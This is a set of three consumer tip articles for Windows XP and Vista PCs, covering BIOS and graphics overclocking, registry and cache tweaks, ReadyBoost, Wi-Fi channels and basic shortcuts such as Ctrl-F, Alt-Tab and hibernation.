If you've got an Intel Core 2 Duo or Core i7 CPU, check your BIOS for a setting like 'Intel Dynamic Acceleration' or 'Turbo Mode', and ensure it's turned on. This handy setting will automatically overclock one core while shutting off the others, improving single-threaded performance.
Overclock

If you're already overclocking, though, this setting stands a good chance of locking up your PC. Disable it and you may be able to push things just a little bit further.

7. Clean your laptop fan
Over time, the fans and vents on a laptop will become covered with dust, hairs and assorted gunk. The system then runs hotter, so your fan is on for longer and battery life falls. Worse still, your CPU speeds may be throttled to try and reduce the temperature. It's a very good idea to open the case and carefully clean away any dust to make sure that the airflow is unobstructed.

8. Speed up graphics
Overclocking your graphics card can give games a little extra zip. How you get to the right settings will vary, but on our test PC, you right-click the desktop, select Nvidia Control Panel | Adjust GPU settings and choose 'Custom clock frequencies' to find the 'Core bus and memory bus' figures.
Increase them just a little to give more speed. After that, it's much like overclocking your CPU: test that everything is OK, increase the clock rate again if it is, wind the settings back a little if your PC crashes and repeat until your system is stable. You can read more on ATI and Nvidia tweaks at TweakGuides.

9. Safely speed up graphics
Some BIOSes offer very basic PCI Express graphics card overclocking with a setting called 'PEG link mode'. If you don't intend to try more intensive overclocking, set this to its highest setting (usually Faster) and you should see a little extra speed.

10. Optimise the RAM
It takes time to access your RAM, but you can minimise this delay by playing around with the BIOS memory timings. There's normally a timing entry set to By SPD, which means that your system uses the default timing values set by your RAM. Set this to Disabled or User defined and you can choose your own timings.
Look for CAS Latency, say, reduce it by one setting, reboot and test that your system is working correctly. Repeat until your PC becomes unstable, then increase the value by one and move on to something else (check your BIOS documentation for more).
Crashes here could stop your PC booting at all, even into the BIOS, so make sure that you know how to reset your BIOS to its default settings before you start messing around with any values.

11. Edit the BIOS
If your Nvidia drivers are proving unhelpful, then there is another way to ramp up your graphics performance – edit the BIOS directly. Of course, this is also the quickest way to trash your card altogether. Don't try this unless you're willing to take the risk.
To do it, download a copy of Nibitor and then run it. Click Tools | Read BIOS | Select device, choose your graphics card and click 'OK', then click Tools | Read BIOS | Read into Nibitor to start experimenting. Annoyed that you can't change the shader clock in the driver?
Just click the Clock rates tab and change it to whatever you like. Tweak the other settings, click File | Save and then use a tool like NVFlash to update your card. See www.mvktech.net for more detailed instructions.

12. Stop network throttling
Windows Vista limits network transfers when you're playing multimedia files to stop your music or video skipping. Great idea, but it can reduce performance on some high-speed network connections.
To fix this, go to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Multimedia\SystemProfile and create a new DWORD value called NetworkThrottlingIndexValue.
Set this to values between one and 70 (10 is the default, higher values mean less throttling) or FFFFFFFF to disable throttling completely.

13. Turbocharge GMA
Many laptops use Intel's Graphics Media Accelerator (GMA) video chipset, which is too slow for most games or other graphics-intensive packages. Some low-voltage GMA chipsets are drastically underclocked, though, and are able to perform far better than the default settings suggest.
GMABooster takes advantage of this to increase your GMA clock rate by x2.4, without voltage changes or affecting system stability.

14. Disable acoustic mode
Some BIOSes contain a setting that makes your hard drive run more quietly. This sounds great, but unfortunately it negatively affects performance.
Harddrive

If you're more concerned with increasing your system's speed than reducing the amount of noise it makes, check your BIOS program for a setting like HDD Acoustic mode (it's in the Performance section on Dell desktops, for example) and make sure that it's set to 'Performance' rather than 'Quiet'.

15. Enlarge the cache
Windows Vista stores your hard drive writes in a cache. This helps it to write data more efficiently and improves performance. To run faster still, launch devmgmt.msc, expand the Disk Drives section, right-click your drive, select Properties | Policies and check Enable advanced performance.
Windows now uses a larger cache and writes from it less often, improving performance but also increasing the risk of data loss if the drive loses power.

16. Use ReadyBoost (or not)
Windows Vista can use high-speed USB flash drives to cache data and hopefully improve performance. To try it out, plug in a USB device and then confirm that you'd like to use it with ReadyBoost if you're asked. If you're not, go to Computer, right-click the device and select Properties.
If the feature can be used, there will be a ReadyBoost tab; click this, select Use this device, choose the space that you'd like to give to Windows and click OK.
Alternatively, if you have no interest in using ReadyBoost, turn it off to save a few system resources. To do this, launch services.msc, double-click ReadyBoost, click Stop and set Startup type to Disabled.

17. Avoid Wi-Fi interference
Poor wireless network performance is sometimes down to interference, perhaps because your neighbours are also running a Wi-Fi network on the same channel. To find out if this is happening, run a network detector like Inssider or Vistumbler to see what's going on.
If you find that your neighbours already have wireless kit working on channel 11 (a common default) then switch your kit to channel six, say, to see a real performance boost.

18. Try CompactFlash cards
They're more expensive and less portable than USB flash drives, but CompactFlash cards can be much faster to use. If your system has an internal reader (so not one connected via USB) then give one a go; we tested the SanDisk Extreme IV CompactFlash card and found that it delivered speeds of over 40MBps, more than twice what you'll see with many USB drives. It also worked with ReadyBoost on our PC and delivered a noticeable improvement in performance.

19. Reformat your USB drive
If you must stick with USB drives instead of switching to CompactFlash cards, make sure that they're formatted using the best filesystem. NTFS delivers the worst performance, so avoid it like the plague.
FAT32 is better, but if you only need to use the drive on Vista systems then use exFAT for the best speeds.
To reformat your USB drive, right-click on it, select Format and then choose either FAT32 or exFAT in the File System list. See TestFreaks for some benchmark figures.

20. Up the DRDY thingy
The BIOS DRDY (Device Ready) timing setting configures how quickly IDE or SATA devices will become available after they've completed their existing commands.
Changing this setting to its highest possible option (which is usually Optimise) will improve system performance a little, but it could also result in a crash or even data loss. As always with potentially dangerous tweaks, experiment with it at your own risk.



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1 Access My Documents from the Taskbar (XP and Vista)
Right-click an empty section of the Taskbar and select toolbars, then New Toolbar. Navigate to the My Documents (XP) or Documents (Vista) folder and click the OK or Select Folder button. In its default position to the far right of the Taskbar, the toolbar provides menu access to the entire contents of the folder.
2 Extra speed with Readyboost (Vista)
Plugging in a USB memory key is one of the easiest ways to speed up Vista. When the Autoplay menu appears, select ‘Speed up my system’, or right-click the drive in Computer and select Properties. Move to the Readyboost tab, tick ‘Use this device’ and use the slider to choose how much space should be given up. Not all USB memory keys are fast enough to provide this boost.
3 Save folders after a crash (XP)
If you have lots of folders open in Windows XP, when one of them crashes, they will all close. This can be avoided by using a hidden option. Open the Control Panel, then choose Folder Options. Move to the View tab and scroll down through the list of options until you get to one called ‘Launch folder windows in a separate process’. Place a tick next to it, then click OK.
4 Disable Aero Glass (Vista)
Vista’s Aero Glass transparency effects may look great, but they also drain a computer’s processing power. To speed up a struggling computer, right-click the desktop and select Personalize. Click the link ‘Window Color and Appearance’ at the top of the screen and untick the ‘Enable transparency’ box before clicking OK.
5 Save memory (XP)
When you run programs, Windows XP stores files known as DLLs in memory. When you close the programs, it usually leaves them there for later use but this can slow down the computer. If you are fine editing the Windows Registry, this can be fixed – but make suitable backups first and take great care. Click Start, then Run, type regedit and press Enter.
Click the plus sign next to HKEY_LOCAL_MACHINE, then SOFTWARE, then Microsoft, Windows, and Current Version. Select the Explorer folder. Click Edit, then New, then DWORD Value. Name the new entry AlwaysUnloadDll, press Enter, then double-click the item and assign it a value of 1. From now, DLL files will be removed from memory when programs are closed.
6 Partition a hard disk (Vista)
Vista makes it possible to divide a hard disk into two or more partitions that Windows sees as separate disks. Click Start, right-click Computer and select the Manage option. Select Disk Management from the left-hand pane, right-click the disk that is to be split and select Shrink Volume. Enter a new size for the partition and click Shrink.
Now right-click the drive space marked as Unallocated and select New Simple Volume. Follow the wizard to create and format the new partition.
7 Make room for Start menu favourites (XP)
The Start menu includes space for six shortcuts to the most frequently used programs, but this can be increased if it is not enough. Right-click the Start button, select Properties and click the Customize button. In the Programs section in the centre of the dialogue box, use the up arrow button to increase the number of icons that should be displayed and then click OK.
8 Restore a deleted Recycle Bin (Vista)
If you right-click the Recycle Bin, there’s a Delete option – this makes it easy to accidentally remove the bin from your desktop. To get it back, right-click the desktop, select Personalize and then click ‘Change desktop icons’. Tick the box next to the Recycle Bin option and click OK – it will reappear on the desktop.
9 Automatically log in to Windows XP
If your PC has only a single user account, it might seem silly to type in a password every time you start it up. To avoid this, click Start, then Run, and type control userpasswords2 before pressing Enter. Select your account and untick the box labelled ‘Users must enter a user name and password to use this computer’. Click OK, enter the password when prompted and click OK again.

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10 Basic Computer Tips And Tricks For New Computer Users.

  

Computer Tips #1: Find Text Quick With Ctrl-F

This is one of those important computer tips that you will use all the time. One of the things I find myself doing most frequently is trying to find one specific word or sentence within a much longer document or webpage. Happily, if you know what you’re looking for, Windows makes it easy to find it.
In almost every application, you can type Ctrl-F (F for Find) to find a word or series of characters. Ctrl-F works in Microsoft Word and Excel, all major Web browsers, Notepad, and many other applications. Go ahead and give it a try right now in your Web browser—search for the word “shortcut” in the next section.

Computer Tips #2: Put Programs On Your Desktop

You’ve probably already figured out that you can put documents, pictures, and other things you frequently use on your desktop, but you may not realize that you can also put your most often used programs on your desktop too. This is one of those computer tips that is often neglected.
Getting the program there is a little tricky, but it’s certainly a lot quicker than scrolling through your giant Start menu to find the program each time.
First, find the program in your Start menu, then place the mouse over the program and click the right-side mouse button once. Chose the option that says Create Shortcut On Desktop. The program icon should immediately appear on your desktop—now you can start it any time you want with a simple double-click. When you get to pro status you can re-size your desktop icons.

Computer Tips #3: Get Help Now

Confused? Need help but don’t know who to ask? Try checking the program’s built-in manual—almost every program has one, even if you don’t see a Help menu. Just press the F1 key on the top row of your keyboard.
Note: some smaller laptops and netbooks don’t have a F1 key. On these smaller keyboards, look for a key (often the number 1 key) with F1 written in small print (usually blue). Then look for a key labeled FN (for function). Press FN plus the F1 key to get the help manual.

Computer Tips #4: Use Keyboard Navigation

Probably the invention that made computers most accessible to the general pubic was the mouse. The mouse saves you from having to memorize a whole bunch of weird keyboard commands. But the mouse also has a downside—it’s kinda slow. (It’s also not easy to use if your hands shake.) Here is a guide to using a computer mouse.
You can give yourself a performance boost by using keyboard navigation. Look closely at the menus in a program like Microsoft Word and you’ll see many words have an underlined letter. To open the menu or activate the function with an underlined letter, press the Alt key plus that letter.
For example, to open the File menu in Microsoft Word, press Alt-F.
After a menu is open, you can activate specific options within it by pressing just the underlined letter—no Alt key is necessary. For example, to Save within the File menu, press s.

Computer Tips #5: Right-Click For Context Options

Wouldn’t it be nice if the computer knew what you wanted to do next? Well, it kind of does. Most programs have what’s called the “context menu”, where the computer guesses what you’d want to do in each part of the program and gives you a menu to do those things.
You can access the context menu by clicking the right mouse button. Try it right now in your Web browser. Depending on which Web browser you use and where you click on this page, you might see options like “view page source” or “open link in new window”.
To get these same options without the context menu, you’d either have to do a lot of clicking through menus or you’d have to memorize keyboard shortcuts. The context menu here saves you a lot of time.

Computer Tips #6: Pro Multi-tasking

Here is one of my favorite computer tips and probably the easiest. Do you switch programs a lot? I do. I’m often trying to read my research notes and write an article at the same time, forcing me to switch between two windows a lot.
But switching between two windows takes a long time with the mouse. You need to take one hand off the keyboard, grab the mouse, scroll over to the next window, click, and put your hand back on the keyboard. Wouldn’t it be nice if you could switch windows without taking your hand off the keyboard? You can.
To switch windows, press Alt-Tab. The windows are lined up in the order of which you last used them, so pressing Alt-Tab will take you to the last window you used. Pressing Alt-Tab-Tab (two tabs) will take you to the window you used before that.
If you master Alt-Tab, you’ll be a master multi-tasker.

Computer Tips #7: Remove Unused Programs

Old programs can slow down your computer by wasting your computer’s limited resources. Also, many programs today install desktop icons and taskbar applets that clutter up your computer, making it difficult for you to use it effectively.
Luckily, removing most programs is easy on Windows. Go to the control panel, open the Add/Remove Programs application, click on a program you don’t use any more, and click the Remove button. The program will be removed within a few seconds—although you may need to reboot your computer for the program’s icon to disappear from your taskbar.

Computer Tips #8: Close Windows Quick

You’ve been surfing the Internet at work, but the boss just appeared around the corner—quick, what do you do?
You can close down any program quickly by pressing Alt-F4. But Alt-F4 isn’t just great for emergency situations, it’s also useful for closing all those other little applications you use, like the calculator.

Computer Tips #9: The Hidden Diagnostic Panel

You probably already know about the Control Panel where Windows lets you change most of its settings, but did you know that there’s also a hidden diagnostic panel that tells you what’s going on with your computer right now?
It’s only accessible to those who know the special key combination: hold down Ctrl and Alt and then quickly press and release Delete. Go ahead, try it right now. CTRL, ALT, DEL.
This task manager includes all sorts of information about what programs are running, how much computer processing they’re using, how much network traffic your computer is running. You can use the buttons to force programs to quit and perform other important operations.
The most useful thing you can do with the task manager is find programs that are using too much computer processing (CPU) and force them to quit (if you don’t need them). For example, sometimes Web browsers or the Adobe Flash player will break and try to use all of your CPU—if that’s the case, simply find the program, highlight it, and click Force Quit.
You can also restart explorer.exe when all your desktop icons and task bar disappear.

Computer Tips #10: Never Shutdown Your Computer Again

Shutting down your computer saves power and prevents computer parts from wearing down too soon, but closing all of your programs every night just to re-open them again the next morning can become quite annoying.
The programmers at Microsoft have the same problem, so they designed a feature called “hibernate.” When you hibernate your computer, all of your programs are saved just they way they are and then your computer is shut off. When you start the computer again, all of your computer programs are restored. It has all the benefits of leaving your computer on overnight without any of the drawbacks.
There’s just one catch: hibernate doesn’t work on all computers. It works really well on most laptops, but it may not work on older desktops. If it doesn’t work, you’ll lose any unsaved changes to your documents, so the first time you try it, make sure you save everything that’s important to you.
To hibernate, open the Start menu and click the Shutdown button. On the menu that appears, choose the Hibernate option—not the shutdown option. It will take a little longer to hibernate than it does to shutdown while your computer saves everything, but when the hibernating is finished, your computer should shut down like normal.
Computer tips for hibernating: To resume from hibernating, turn your computer back on like your normally would. Again, turning back on might take a little longer (although it usually goes quicker), but you should see all of your programs running just like they were before you pressed Hibernate.  You can even try it right now–save any important files, hibernate, turn your computer back on, and you’ll should still be reading this article about computer tips.